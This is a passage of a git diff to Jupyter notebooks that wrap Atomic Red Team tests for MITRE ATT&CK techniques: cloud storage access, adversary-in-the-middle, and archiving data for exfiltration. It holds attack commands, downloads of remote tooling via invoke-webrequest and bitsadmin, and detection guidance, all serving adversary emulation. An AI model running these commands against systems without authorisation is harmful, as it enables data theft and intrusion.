Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects." }, { "cell_type": "markdown", - "id": "2b851e53", + "id": "d70ec621", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "204b6c82", + "id": "33b9555d", "metadata": {}, - "source": "### Atomic Test #1 - Azure - Enumerate Azure Blobs with MicroBurst\nUpon successful execution, this test will utilize a wordlist to enumerate the public facing containers and blobs of a specified Azure storage account. \nSee https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/ . \n\n**Supported Platforms:** iaas:azure\n#### Dependencies: Run with `powershell`!\n##### Description: The Invoke-EnumerateAzureBlobs module must exist in $env:temp.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\Invoke-EnumerateAzureBlobs.ps1){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1\" -outfile \"$env:temp\\Invoke-EnumerateAzureBlobs.ps1\"\n\n```\n##### Description: The wordlist file for search permutations must exist in $env:temp.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\permutations.txt){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt\" -outfile \"$env:temp\\permutations.txt\"\n\n```" + "source": "### Atomic Test #1 - Azure - Enumerate Azure Blobs with MicroBurst\nUpon successful execution, this test will utilize a wordlist to enumerate the public facing containers and blobs of a specified Azure storage account. \nSee https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/ . \n\n**Supported Platforms:** iaas:azure\n#### Dependencies: Run with `powershell`!\n##### Description: The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\\..\\ExternalPayloads.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Invoke-EnumerateAzureBlobs.ps1\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\Invoke-EnumerateAzureBlobs.ps1\"\n\n```\n##### Description: The wordlist file for search permutations must exist in PathToAtomicsFolder\\..\\ExternalPayloads.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\permutations.txt\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\permutations.txt\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ee05206e", + "id": "2b1a0e69", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1530 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2390acaf", + "id": "d6bb1514", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nimport-module \"$env:temp\\Invoke-EnumerateAzureBlobs.ps1\"\nInvoke-EnumerateAzureBlobs -base secure -permutations $env:temp\\permutations.txt -outputfile \"$env:temp\\T1530Test1.txt\"\n```" + "```powershell\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\Invoke-EnumerateAzureBlobs.ps1\"\nInvoke-EnumerateAzureBlobs -base secure -permutations \"PathToAtomicsFolder\\..\\ExternalPayloads\\permutations.txt\" -outputfile \"$env:temp\\T1530Test1.txt\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "220693da", + "id": "bbcf39d0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1530 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "1a76cd00", + "id": "e8e673bf", "metadata": {}, "source": "#### Cleanup: \n```powershell\nremove-item $env:temp\\T1530Test1.txt -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f6b4d1ee", + "id": "58e5368c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1530 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "6913801e", + "id": "4d648116", "metadata": {}, "source": [ "### Atomic Test #2 - Azure - Scan for Anonymous Access to Azure Storage (Powershell)", @@ -72,42 +72,42 @@ { "cell_type": "code", "execution_count": null, - "id": "a6744efc", + "id": "a4ccda80", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1530 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "78cda929", + "id": "2ac4db55", "metadata": {}, "source": "#### Cleanup: \n```powershell\nremove-item $env:temp\\T1530Test2.txt -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8783c278", + "id": "d5301970", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1530 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "181e8a8e", + "id": "443543db", "metadata": {}, "source": "### Atomic Test #3 - AWS - Scan for Anonymous Access to S3\nUpon successful execution, this test will test for anonymous access to AWS S3 buckets and dumps all the files to a local folder. \n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\naws s3api create-bucket --bucket redatomic-test2\naws s3api put-bucket-policy --bucket redatomic-test2 --policy file://$PathToAtomicsFolder/T1530/src/policy.json\ntouch /tmp/T1530.txt\naws s3 cp /tmp/T1530.txt s3://redatomic-test2\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS default profile using: aws configure\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4ec2bd91", + "id": "32d5d427", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1530 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ac7f92fa", + "id": "9aa683fb", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -117,34 +117,34 @@ { "cell_type": "code", "execution_count": null, - "id": "2bd87abd", + "id": "dbf3b76c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1530 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "92adb7b7", + "id": "399e58a4", "metadata": {}, "source": "#### Cleanup: \n```sh\naws s3 rb s3://redatomic-test2 --force \nrm -rf /tmp/redatomic-test2\n```" }, { "cell_type": "code", "execution_count": null, - "id": "65c87e5b", + "id": "86f301eb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1530 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "8b581395", + "id": "c754eea1", "metadata": {}, "source": "## Detection\nMonitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity." }, { "cell_type": "markdown", - "id": "4a8c578d", + "id": "ec408f7f", "metadata": {}, "source": "\n## Shield Active Defense\n### Pocket Litter \n Place data on a system to reinforce the legitimacy of the system or user. \n\n Pocket Litter is data placed on a system to convince an adversary that the system and users are real. Pocket litter includes documents, registry entries, log history, browsing history, connection history, and other user data that one would expect to exist on a user's computer. This content may overlap with Decoy Content, however Pocket Litter covers aspects beyond just content (e.g.: Installed Applications, source code, clutter on a system, etc.).\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to seed content to influence an adversary's behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can stage a variety of pocket litter files on an attached storage space. This data may include topics that align to a persona, topics an adversary is interested in, etc.\n#### Procedures\nWhen staging a decoy system and user account, populate a user's folders and web history to make it look realistic to an adversary.\nStage a USB device with documents on a specific topic in order to see if they are exfiltrated by an adversary.\n" } @@ -152,13 +152,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1557.001.ipynb b/playbook/tactics/collection/T1557.001.ipynb index 808b0526..b83f9653 100644 --- a/playbook/tactics/collection/T1557.001.ipynb +++ b/playbook/tactics/collection/T1557.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "dbb0939c", + "id": "d192dbf6", "metadata": {}, "source": "# T1557.001 - LLMNR/NBT-NS Poisoning and SMB Relay\nBy responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\u00a0\n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)" }, { "cell_type": "markdown", - "id": "6f6dcad7", + "id": "b4fa8953", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ec6a60e9", + "id": "67f1a21e", "metadata": {}, "source": [ "### Atomic Test #1 - LLMNR Poisoning with Inveigh (PowerShell)", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "1a79fd1e", + "id": "f2e6d835", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1557.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "865ce93d", + "id": "12560e5c", "metadata": {}, "source": "## Detection\nMonitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)" } @@ -43,13 +43,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1557.002.ipynb b/playbook/tactics/collection/T1557.002.ipynb index ac0ac377..0f8cce7e 100644 --- a/playbook/tactics/collection/T1557.002.ipynb +++ b/playbook/tactics/collection/T1557.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "1683ef79", + "id": "653c8e08", "metadata": {}, "source": "# T1557.002 - ARP Cache Poisoning\nAdversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n" }, { "cell_type": "markdown", - "id": "c159b328", + "id": "8420b975", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ad0ac765", + "id": "11f4d8ef", "metadata": {}, "source": "## Detection\nMonitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1557.003.ipynb b/playbook/tactics/collection/T1557.003.ipynb index f8190641..4e639300 100644 --- a/playbook/tactics/collection/T1557.003.ipynb +++ b/playbook/tactics/collection/T1557.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a4866805", + "id": "c2d65ca7", "metadata": {}, "source": "# T1557.003 - DHCP Spoofing\nAdversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. " }, { "cell_type": "markdown", - "id": "6f6d279a", + "id": "1875bd04", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a1cb39d8", + "id": "38064e94", "metadata": {}, "source": "## Detection\nMonitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1557.ipynb b/playbook/tactics/collection/T1557.ipynb index 54d7d08b..ea0cc9f1 100644 --- a/playbook/tactics/collection/T1557.ipynb +++ b/playbook/tactics/collection/T1557.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "d0476bf4", + "id": "ee4ce3c7", "metadata": {}, - "source": "# T1557 - Adversary-in-the-Middle\nAdversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498)." + "source": "# T1557 - Adversary-in-the-Middle\nAdversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498)." }, { "cell_type": "markdown", - "id": "469237b8", + "id": "a6e0b4b7", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "936e5203", + "id": "13702d2c", "metadata": {}, "source": "## Detection\nMonitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow." }, { "cell_type": "markdown", - "id": "6c99bb77", + "id": "8e57dd0d", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Monitoring \n Monitor network traffic in order to detect adversary activity. \n\n Network monitoring involves capturing network activity data, including capturing of server, firewall, and other relevant logs. A defender can then review them or send them to a centralized collection location for further analysis.\n#### Opportunity\nThere is an opportunity to monitor network traffic for different protocols, anomalous traffic patterns, transfer of data, etc. to determine the presence of an adversary.\n#### Use Case\nA defender can monitor network traffic for anomalies associated with known MiTM behavior.\n#### Procedures\nCapture network logs for internet-facing devices and send those logs to a central collection location.\nCapture all network device (router, switches, proxy, etc.) logs on a decoy network and send those logs to a central collection location.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1560.001.ipynb b/playbook/tactics/collection/T1560.001.ipynb index b3359c44..4ccacac3 100644 --- a/playbook/tactics/collection/T1560.001.ipynb +++ b/playbook/tactics/collection/T1560.001.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "44895a06", + "id": "4ba6b138", "metadata": {}, - "source": "# T1560.001 - Archive via Utility\nAdversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) Additionally, xcopy on Windows can copy files and directories with a variety of options.\n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)" + "source": "# T1560.001 - Archive via Utility\nAdversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. \n\nOn Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)" }, { "cell_type": "markdown", - "id": "c88b55f8", + "id": "46327a23", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "9a28b38b", + "id": "09add2ea", "metadata": {}, "source": "### Atomic Test #1 - Compress Data for Exfiltration With Rar\nAn adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.\nWhen the test completes you should find the txt files from the %USERPROFILE% directory compressed in a file called T1560.001-data.rar in the %USERPROFILE% directory \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Rar tool must be installed at specified location (#{rar_exe})\n\n##### Check Prereq Commands:\n```cmd\nif not exist \"%programfiles%/WinRAR/Rar.exe\" (exit /b 1)\n\n```\n##### Get Prereq Commands:\n```cmd\necho Downloading Winrar installer\nbitsadmin /transfer myDownloadJob /download /priority normal \"https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-580.exe\" %TEMP%\\winrar.exe\n%TEMP%\\winrar.exe /S\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0f7eb499", + "id": "58f33d8e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8e9634c3", + "id": "455e83a9", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "5f5a76a4", + "id": "e0c80792", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a52b852c", + "id": "571340b9", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel /f /q /s %USERPROFILE%\\T1560.001-data.rar >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a844beaf", + "id": "29093cf1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "13bbf8e2", + "id": "98623eef", "metadata": {}, "source": "### Atomic Test #2 - Compress Data and lock with password for Exfiltration with winrar\nNote: Requires winrar installation\nrar a -p\"blue\" hello.rar (VARIANT)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Rar tool must be installed at specified location (#{rar_exe})\n\n##### Check Prereq Commands:\n```cmd\nif not exist \"%programfiles%/WinRAR/Rar.exe\" (exit /b 1)\n\n```\n##### Get Prereq Commands:\n```cmd\necho Downloading Winrar installer\nbitsadmin /transfer myDownloadJob /download /priority normal \"https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-580.exe\" %TEMP%\\winrar.exe\n%TEMP%\\winrar.exe /S\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b4f1c2c6", + "id": "e76830f0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1e2f8a3f", + "id": "7f84d1da", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -83,28 +83,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1baba31b", + "id": "01bbb72b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1560.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "d49bd912", + "id": "9c34ebf8", "metadata": {}, - "source": "### Atomic Test #3 - Compress Data and lock with password for Exfiltration with winzip\nNote: Requires winzip installation\nwzzip sample.zip -s\"blueblue\" *.txt (VARIANT)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Winzip must be installed\n\n##### Check Prereq Commands:\n```cmd\ncmd /c 'if not exist 